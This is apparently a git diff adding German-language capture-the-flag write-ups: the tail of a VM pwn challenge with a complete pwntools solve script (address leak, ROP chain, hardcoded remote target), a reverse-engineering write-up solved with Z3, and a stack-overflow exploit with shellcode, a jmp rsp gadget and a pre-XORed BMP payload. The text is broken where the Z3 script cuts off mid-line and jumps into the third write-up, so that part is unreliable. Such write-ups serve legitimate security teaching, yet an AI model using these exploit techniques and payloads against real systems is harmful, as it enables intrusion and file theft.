durch die Adresse unseres Stack-Pivot-Gadgets zu ersetzen. + +### Schritt 5: Die Chain auslösen +Der letzte Schritt ist die Ausführung des gehijackten Funktionszeigers. +1. **Der Trigger-Befehl:** Wir tippen `execute`, um unsere Writer-Befehle zu kompilieren, und führen dann `debug` aus. +2. **Ausführungsfluss:** + * Die `main`-Schleife ruft den Funktionszeiger auf, der in Register `h` steht. + * Da wir ihn überschrieben haben, springt er zu `mov rsp, rdi; ret`. + * `RDI` enthält den RAM-Zeiger, sodass `RSP` zum RAM-Zeiger wird. + * Die CPU führt `ret` aus und popt das erste Gadget aus unserer ROP-Chain im RAM. + * Die Kette führt `open`, `read` und `write` aus und gibt das Flag auf unserer Konsole aus! + +## 4. Das Lösungs-Skript + +Hier ist das vollständige Skript `solve.py`. Es automatisiert das Leaken, die Berechnung und die Übermittlung der Payload. + +```python +#!/usr/bin/env python3 +from pwn import * + +# ============================================================================= +# KONFIGURATION +# ============================================================================= +OFFSET_DEFAULT_LOG = 0x00109a22 +HOST = '87.106.77.47' +PORT = 1378 + +# Kontext setzen (wird noch zum packen/entpacken benötigt) +exe = './g_forcevm' +elf = ELF(exe, checksec=False) +context.binary = elf +context.log_level = 'info' + +def start(): + # [ÄNDERUNG] remote() anstelle von process() verwenden + return remote(HOST, PORT) + +p = start() + +def send_cmd(cmd): + p.sendline(cmd.encode()) + +def wait_prompt(): + return p.recvuntil(b"> ") + +log.info(f"--- G-Force Payload Builder (Ziel: {HOST}:{PORT}) ---") +wait_prompt() + +# ----------------------------------------------------------------------------- +# SCHRITT 1: LIVE LEAK +# ----------------------------------------------------------------------------- +log.info("SCHRITT 1: Adressen leaken...") +send_cmd("movr a, h") +wait_prompt() +send_cmd("movr b, g") +wait_prompt() +send_cmd("saver a, 0") +wait_prompt() +send_cmd("saver b, 8") +wait_prompt() +send_cmd("execute") +wait_prompt() + +# Leaks auslesen +send_cmd("ram 0 16") +p.recvuntil(b"0000: ") +dump_line = p.recvline().decode().strip().split() +wait_prompt() +bytes_all = [int(b, 16) for b in dump_line] + +leak_logger = 0 +for i in range(8): + leak_logger += bytes_all[i] << (i*8) + +leak_heap = 0 +for i in range(8): + leak_heap += bytes_all[8+i] << (i*8) + +binary_base = leak_logger - OFFSET_DEFAULT_LOG +addr_farm = leak_logger - 0x75 + +# Gadgets +addr_pop_rdi = addr_farm + 0 +addr_pop_rsi = addr_farm + 2 +addr_pop_rdx = addr_farm + 4 +addr_pop_rax = addr_farm + 6 +addr_syscall = addr_farm + 8 +addr_pivot = addr_farm + 11 + +log.success(f" Geleakter Logger: {hex(leak_logger)}") +log.success(f" Geleakter Heap: {hex(leak_heap)}") +log.success(f" Basisadresse: {hex(binary_base)}") +log.success(f" Addr Farm: {hex(addr_farm)}") + +# ----------------------------------------------------------------------------- +# SCHRITT 2: CHAIN KONSTRUIEREN +# ----------------------------------------------------------------------------- +log.info("SCHRITT 2: ROP Chain konstruieren...") + +chain = [ + # --- OPEN("./flag.txt", 0, 0) --- + addr_pop_rdi, + leak_heap + 0x200, # Zeiger auf "./flag.txt" + addr_pop_rsi, + 0, + addr_pop_rdx, + 0, + addr_pop_rax, + 2, + addr_syscall, + + # --- READ(3, buffer, 100) --- + addr_pop_rdi, + 3, + addr_pop_rsi, + leak_heap + 0x300, # Zeiger auf Buffer + addr_pop_rdx, + 100, + addr_pop_rax, + 0, + addr_syscall, + + # --- WRITE(1, buffer, 64) --- + addr_pop_rdi, + 1, + addr_pop_rsi, + leak_heap + 0x300, + addr_pop_rdx, + 35, + addr_pop_rax, + 1, + addr_syscall, + + # --- EXIT(0) --- + addr_pop_rdi, + 0, + addr_pop_rax, + 60, + addr_syscall, +] + +# Chain senden +i = 0 +while i < len(chain): + send_cmd(f"movi a,{hex(chain[i])}") + wait_prompt() + send_cmd(f"saver a,{hex(i*8)}") + wait_prompt() + i = i+1 + +# String "./flag.txt" bei Offset 0x200 senden +flag_str = b'./flag.txt\0' +for i in range(0, len(flag_str), 8): + chunk = flag_str[i:i+8].ljust(8, b'\0') + val = u64(chunk) + send_cmd(f"movi a, {hex(val)}") + wait_prompt() + send_cmd(f"saver a,{0x200 + i}") + wait_prompt() + +# Platzierung der Chain ausführen +send_cmd("execute") +p.recvuntil(b"> ") +send_cmd("ram 0x00 0x30") +p.recvuntil(b"> ") +log.success(f" ROP Chain platziert") + +# ----------------------------------------------------------------------------- +# SCHRITT 3: ARM & TRIGGER +# ----------------------------------------------------------------------------- +log.info("SCHRITT 3: Scharfschalten...") +send_cmd(f"movi h,{hex(addr_pivot)}") +wait_prompt() +send_cmd(f"execute") +p.recvuntil(b"> ") +log.success(f" Scharfgeschaltet") + +log.info("Wird ausgeführt...") +send_cmd(f"debug") + +try: + # recvall ist hier essenziell, da die Gegenseite die Verbindung nach exit() schließt + output = p.recvall(timeout=3) + + print("\n" + "="*50) + print("FINALE AUSGABE:") + print(output.decode(errors='ignore')) + print("="*50) + +except Exception as e: + log.error(f"Fehler beim Empfangen des Flags: {e}") + +p.close() +``` diff --git a/de/gatekeeper.md b/de/gatekeeper.md new file mode 100644 index 0000000..e3d507f --- /dev/null +++ b/de/gatekeeper.md @@ -0,0 +1,215 @@ +# The Gatekeeper + +`gatekeeper` ist eine Reverse-Engineering-Challenge, die eine software-simulierte Hardwareschaltung beinhaltet. Uns wird eine Binärdatei bereitgestellt und wir müssen die Eingabe finden, die den Stromkreis "vervollständigt" und die LED einschaltet. + +## Informationsbeschaffung + +Zuerst analysieren wir die Binärdatei: + +```bash +$ file gatekeeper +gatekeeper: ELF 64-bit LSB pie executable, x86-64, ... stripped +``` + +Es ist eine gestrippte, statisch gelinkte 64-Bit-ELF-ausführbare Datei. Wenn sie ausgeführt wird, fragt sie nach einer Flagge. + +```bash +$ ./gatekeeper +--- THE GATEKEEPER --- +Enter the flag that lights up the LED: AAAA +LED is OFF +``` + +## Reverse Engineering + +### 1. Analyse von Main (`FUN_00108860`) + +Wir öffnen die Binärdatei in Ghidra und lokalisieren die `main`-Funktion bei `0x00108860`. + +```c +undefined8 main(void) +{ + // ... Stack-Setup ... + + FUN_00114970("--- THE GATEKEEPER ---"); + do { + FUN_00153610(1, "Enter the flag that lights up the LED: "); + + // Benutzereingabe lesen + lVar1 = FUN_00114410(local_1e8, 0x80, PTR_DAT_001d4d78); + if (lVar1 == 0) break; + + // Längenprüfung + lVar1 = thunk_FUN_001246c0(local_1e8); + if (lVar1 == 36) { + + // ... (Komplexe Logik zur Erweiterung von 36 Zeichen in 288 Bits) ... + + // Löschen eines großen Arrays bei 0x1d6940 (Cache/Memoization) + puVar6 = &DAT_001d6940; + for (lVar1 = 0x1ba; lVar1 != 0; lVar1 = lVar1 + -1) { + *puVar6 = 0; + puVar6 = puVar6 + 1; + } + + // Aufruf der Verifizierungsfunktion + // Sie nimmt 0x374 (884) als erstes Argument und das Bit-Array als zweites + iVar2 = FUN_001090d0(0x374, &local_168); + + if (iVar2 == 1) { + FUN_00114970("LED is ON"); + return 0; + } + } + FUN_00114970("LED is OFF"); + } while( true ); +} +``` + +Aus `main` lernen wir: +1. Die Flagge muss genau **36 Zeichen** lang sein. +2. Die Eingabe wird in ein Array von Bits umgewandelt. +3. Eine Verifizierungsfunktion `FUN_001090d0` wird aufgerufen, beginnend mit dem Index **884**. + +### 2. Identifizierung der Gatterlogik (`FUN_001090d0`) + +Die Funktion `FUN_001090d0` bestimmt, ob unsere Eingabe korrekt ist. Sie fungiert als rekursiver Auswerter für eine Logikschaltung. + +Sie akzeptiert einen `gate_index` als Argument. Sie verwendet diesen Index, um eine Gatterstruktur aus einem globalen Array bei `0x001d1020` nachzuschlagen. Jede Gatterstruktur enthält einen Opcode und Indizes für andere Gatter (Eingänge). + +**Der rekursive Prozess:** +Wenn die Funktion ein Gatter auswertet (z.B. ein UND-Gatter), kann sie das Ergebnis nicht sofort wissen. Stattdessen muss sie zuerst den Zustand der Eingänge bestimmen, die in dieses Gatter einspeisen. +1. Sie ruft sich selbst (`FUN_001090d0`) mit dem Index des **linken Kindes** auf. +2. Sie ruft sich selbst mit dem Index des **rechten Kindes** auf. +3. Sie führt die Logikoperation (UND/ODER/XOR) auf diesen beiden Ergebnissen aus und gibt den Wert zurück. + +Diese Rekursion setzt sich tief in den Schaltungsbaum fort, bis sie auf einen "Basisfall" trifft: ein **INPUT**-Gatter (Fall 0). Das INPUT-Gatter liest einfach ein Bit aus unserer Flagge und gibt es zurück, wodurch die Rekursion für diesen Zweig gestoppt wird. Die Werte wandern dann den Baum wieder hinauf zur Wurzel. + +Durch die Analyse der `switch`-Anweisung im Inneren können wir die spezifischen Operationen identifizieren: + +#### Fall 1: UND-Gatter +Diese Logik repräsentiert eine UND-Operation. Beachten Sie die Rekursion: Es wertet zuerst das linke Kind aus. Wenn das 0 zurückgibt, wird kurzgeschlossen und 0 zurückgegeben. Andernfalls wird das rechte Kind ausgewertet. +```c +case 1: + // Rekursiver Aufruf für linkes Kind + if (FUN_001090d0(left_idx) == 0) { + result = 0; + } else { + // Rekursiver Aufruf für rechtes Kind + result = FUN_001090d0(right_idx); + } + return result; +``` + +#### Fall 2: ODER-Gatter +Ähnlich wie UND, gibt aber 1 zurück, wenn das linke Kind 1 ist. +```c +case 2: + if (FUN_001090d0(left_idx) == 1) { + result = 1; + } else { + result = FUN_001090d0(right_idx); + } + return result; +``` + +#### Fall 3: XOR-Gatter +Dies verwendet explizit den XOR-Operator auf den Ergebnissen der beiden rekursiven Aufrufe. +```c +case 3: + result = FUN_001090d0(left_idx) ^ FUN_001090d0(right_idx); + return result; +``` + +#### Fall 4: NICHT-Gatter +Dieses Gatter hat nur einen Eingang (linkes Kind). Es ruft die Funktion rekursiv auf und invertiert das Ergebnis. +```c +case 4: + result = !FUN_001090d0(left_idx); + return result; +``` + +#### Fall 0: INPUT-Gatter +Dies ist der Basisfall der Rekursion. Es ruft ein rohes Bit aus dem Eingabe-Array des Benutzers ab. +```c +case 0: + return input_bits[gate->bit_index]; +``` + +**Schlussfolgerung:** +Die Binärdatei ist ein **Logikgatter-Simulator**. Der Verifizierungsmechanismus ist eine große Schaltung (885 Gatter), die im `.data`-Abschnitt gespeichert ist. Wir müssen die Eingabebits finden, die dazu führen, dass das finale "Wurzel"-Gatter (884) eine logische `1` ausgibt. + +## Lösung + +Wir können dies lösen, indem wir das Gatter-Array extrahieren und den **Z3 Theorem Prover** verwenden. Z3 ermöglicht es uns, die gesamte Schaltung als eine Menge von Bedingungen zu modellieren und die Eingabe zu finden, die diese erfüllt. + +### Solver-Skript + +1. **Gatter extrahieren**: Jedes Gatter bei `0x1d1020` besteht aus 4 Integern: `[Opcode, Left_Index, Right_Index, Bit_Index]`. +2. **Variablen definieren**: Erstelle 288 boolesche Variablen für die Flaggenbits. +3. **Logik modellieren**: Definiere rekursiv die Ausgabe jedes Gatters in Bezug auf Z3-Operatoren (`z3.And`, `z3.Or`, `z3.Xor`, `z3.Not`). +4. **Lösen**: Sage Z3, dass Gatter 884 `Wahr` sein muss. + +```python +import struct +import z3 + +FILENAME = "gatekeeper" +OFFSET = 0xd0020 # Datei-Offset für globales Array bei 0x1d1020 +GATE_COUNT = 885 +FLAG_LEN = 36 + +# In Ghidra identifizierte Opcodes +OP_INPUT, OP_AND, OP_OR, OP_XOR, OP_NOT = range(5) + +class Gate: + def __init__(self, op, left, right, val): + self.op, self.left, self.right, self.val = op, left, right, val + +def solve(): + # 1. Schaltung aus Binärdatei laden + gates = {} + with open(FILENAME, "rb") as f: + f.seek(OFFSET) + for i in range(GATE_COUNT): + data = f.read(16) + op, left, right, val = struct.unpack(" 3072! + memcpy(process_buffer, src_data, data_size); + + // ... XOR-Schleife (Der "Glitch") ... +} +``` +Der Programmierer ging davon aus, dass Benutzer sich an das in der Warnung erwähnte 32x32-Limit halten würden. Da `memcpy` die Größe des Zielpuffers nicht prüft, ermöglicht uns die Angabe einer größeren `width` oder `height` in unserem BMP-Header, über das Ende von `process_buffer` hinaus in den Stackframe der Funktion zu schreiben und die gespeicherte Rücksprungadresse (Return Address) zu überschreiben. + +### 4. Der "Glitch"-Filter +Nach dem Überlauf, aber *bevor* die Funktion zurückkehrt, wendet das Binary einen XOR-Filter an: +```c +for (idx = 0; idx < data_size; idx++) { + process_buffer[idx] ^= (char)(idx % 256); +} +``` +Diese Schleife wird unseren Shellcode und die Rücksprungadresse verändern (scramblen), bevor die Funktion zurückkehrt. Um sicherzustellen, dass unser Code gültig bleibt, wenn die Funktion schließlich ihre `ret`-Instruktion erreicht, müssen wir unseren gesamten Payload **vor-XORen** (pre-XOR). + +## Exploitation-Strategie (Den Pfad finden) + +Wir haben einen Buffer Overflow und einen ausführbaren Stack. Doch selbst bei deaktiviertem PIE kann die exakte Adresse des Stacks zwischen verschiedenen Umgebungen leicht variieren (aufgrund von Umgebungsvariablen usw.). Um unseren Exploit zuverlässig zu machen, brauchen wir einen Weg, die Ausführung auf den Stack umzuleiten, ohne eine Stack-Adresse fest zu kodieren. + +### 1. Suche nach einem Gadget +Wir benötigen eine Instruktion, die bereits im Binary vorhanden ist und zum Stack-Pointer "springt". In x86_64 wird der Stack-Pointer im `rsp`-Register gespeichert. Wir suchen also nach einem Gadget wie: +- `jmp rsp` +- `call rsp` +- `push rsp; ret` + +### 2. Jagd nach dem Gadget +Wir können `objdump` verwenden, um das gesamte Disassembly nach diesen spezifischen Befehlen zu durchsuchen. Suchen wir nach einem `jmp rsp`: + +```bash +$ objdump -d glitcher -M intel | grep "jmp rsp" + 4018d6: ff e4 jmp rsp +``` + +Wir haben einen Treffer gefunden! Es gibt eine `jmp rsp`-Instruktion an der Adresse **`0x4018d6`**. + +### 3. Verifizierung +Da unser Binary nicht gestrippt ist, können wir prüfen, in welcher Funktion sich dieses Gadget befindet, um zu verstehen, warum es dort ist: + +```bash +$ objdump -d glitcher -M intel --start-address=0x4018ce --stop-address=0x4018d8 +00000000004018ce : + 4018ce: f3 0f 1e fa endbr64 + 4018d2: 55 push rbp + 4018d3: 48 89 e5 mov rbp,rsp + 4018d6: ff e4 jmp rsp +``` + +Es stellt sich heraus, dass das Gadget innerhalb einer Funktion namens `get_pixels` liegt. Diese Adresse (`0x4018d6`) ist perfekt, da sie fest ist und genau zu dem Speicherbereich springt, der unmittelbar auf unsere Rücksprungadresse auf dem Stack folgt – dort, wo wir unseren Shellcode platzieren werden. + +## Den Exploit Schritt für Schritt aufbauen + +### Schritt 1: Erstellung des Shellcodes +Da wir eine Datei lesen und in den `stdout` ausgeben müssen, verwenden wir eine Sequenz aus `open` -> `read` -> `write`. Hier ist die Aufschlüsselung in Assembly: + +```nasm +; --- "flag.txt" öffnen --- +push 0 ; Null-Terminator für String +mov rbx, 0x7478742e67616c66 ; "flag.txt" in Hex (Little-Endian) +push rbx ; String auf Stack pushen +mov rdi, rsp ; RDI = Zeiger auf "flag.txt" +xor esi, esi ; RSI = 0 (O_RDONLY) +push 2 ; RAX = 2 (sys_open) +pop rax +syscall ; open("flag.txt", 0) + +; --- Dateiinhalt lesen --- +mov rdi, rax ; RDI = File Descriptor (von rax) +mov rsi, rsp ; RSI = Puffer (Stack-Platz wiederverwenden) +mov edx, 0x100 ; RDX = 256 Bytes zum Lesen +push 0 ; RAX = 0 (sys_read) +pop rax +syscall ; read(fd, rsp, 256) + +; --- In stdout schreiben --- +mov rdx, rax ; RDX = gelesene Bytes (von rax) +push 1 ; RDI = 1 (stdout) +pop rdi +push 1 ; RAX = 1 (sys_write) +pop rax +syscall ; write(1, rsp, rdx) + +; --- Sauber beenden --- +push 60 ; RAX = 60 (sys_exit) +pop rax +xor rdi, rdi ; RDI = 0 +syscall ; exit(0) +``` + +### Schritt 2: Berechnung des Paddings +Der `process_buffer` ist 3072 Bytes groß. Um die Rücksprungadresse zu erreichen, müssen wir auch das gespeicherte RBP (8 Bytes) überschreiben. +- **Padding**: 3080 Bytes. +- **Rücksprungadresse**: `0x4018d6` (`jmp rsp`). +- **Payload**: `Padding` + `RetAddr` + `Shellcode`. + +### Schritt 3: Umgehung des XOR-Filters +Wir führen ein Vor-XOR auf unseren Roh-Payload aus, so dass er, wenn der Server ihn "glitcht", tatsächlich wieder in unseren ursprünglichen Code "entschlüsselt" wird. +```python +scrambled = bytearray() +for i in range(len(raw_payload)): + scrambled.append(raw_payload[i] ^ (i % 256)) +``` + +### Schritt 4: In ein BMP verpacken +Wir verpacken unseren gescrambelten Payload in eine Standard-24-Bit-BMP-Struktur. +```python +# Magic 'BM' + Header + Gescrambelte Daten +bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54) +info_header = struct.pack('